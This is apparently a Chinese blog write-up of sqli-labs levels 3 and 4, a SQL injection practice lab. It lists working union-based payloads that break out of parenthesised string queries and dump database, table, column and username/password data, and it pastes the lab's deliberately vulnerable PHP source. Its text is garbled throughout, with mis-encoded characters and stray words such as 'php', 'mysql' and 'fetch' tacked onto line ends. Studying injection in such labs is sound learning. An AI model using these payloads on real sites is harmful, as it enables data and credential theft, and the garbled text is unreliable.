经过第二关,来到第三关php
咱们用了前两种方法,都报错,而后本身也不太会别的注入,而后莫名的小知识又增长了。这竟然是一个带括号的字符型注入,html
这里咱们须要闭合前面的括号。mysql
$sql=select * from users where id=("$id");sql
但咱们传入的id为5')而后咱们的语句就变成了数组
并且页面显示正常,而后咱们就去判断字段的列数,这个跟前三关应该是同样的 ,咱们直接函数
pyload: ?id=5')order by 4--+fetch
而后判断3的时候,没有报错,因而肯定列数为3,具体为何要肯定列数,在第一个wp中有提到,ui
http://www.javashuo.com/article/p-rleantdf-nu.html点击这个就能够看到关于联合查询的知识点了orm
咱们用联合查询,因此咱们要保证列数字段一致,若是不一致则会报错。xml
下面咱们贴出源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-4 Error Based- DoubleQuotes String</title> </head> <body bgcolor="#000000"> <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"> <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);//函数从结果集中取得一行做为关联数组,或数字数组,或两者兼有返回根据从结果集取得的行生成的数组,若是没有更多行则返回 false
if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-4.jpg" /></center> </body> </html>
看源码里面的函数,我给了注释,这就是为何咱们要将id的值给-1,咱们须要将前面的数据便为空集,而后咱们后面的数据就会呈现出来。
说完了这个,咱们接着下一步操做:
1. 爆库名 ?id=-1') union select 1,2,database()--+
2. 爆表名 ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
3. 爆字段 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
4. 爆数据 ?id=-1') union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
而后就查到了咱们想要的users表中的数据了。
以后咱们又来到了第四关,发现第四关只是将单引号变成了双引号了,因此咱们
pyload:?id=5")--+
而后发现页面正常显示,没有报错,因而咱们用order by来判断列数,步骤和第三题同样。
但愿能够对读者有帮助,不对的但愿你们多多指正,你们共同进步。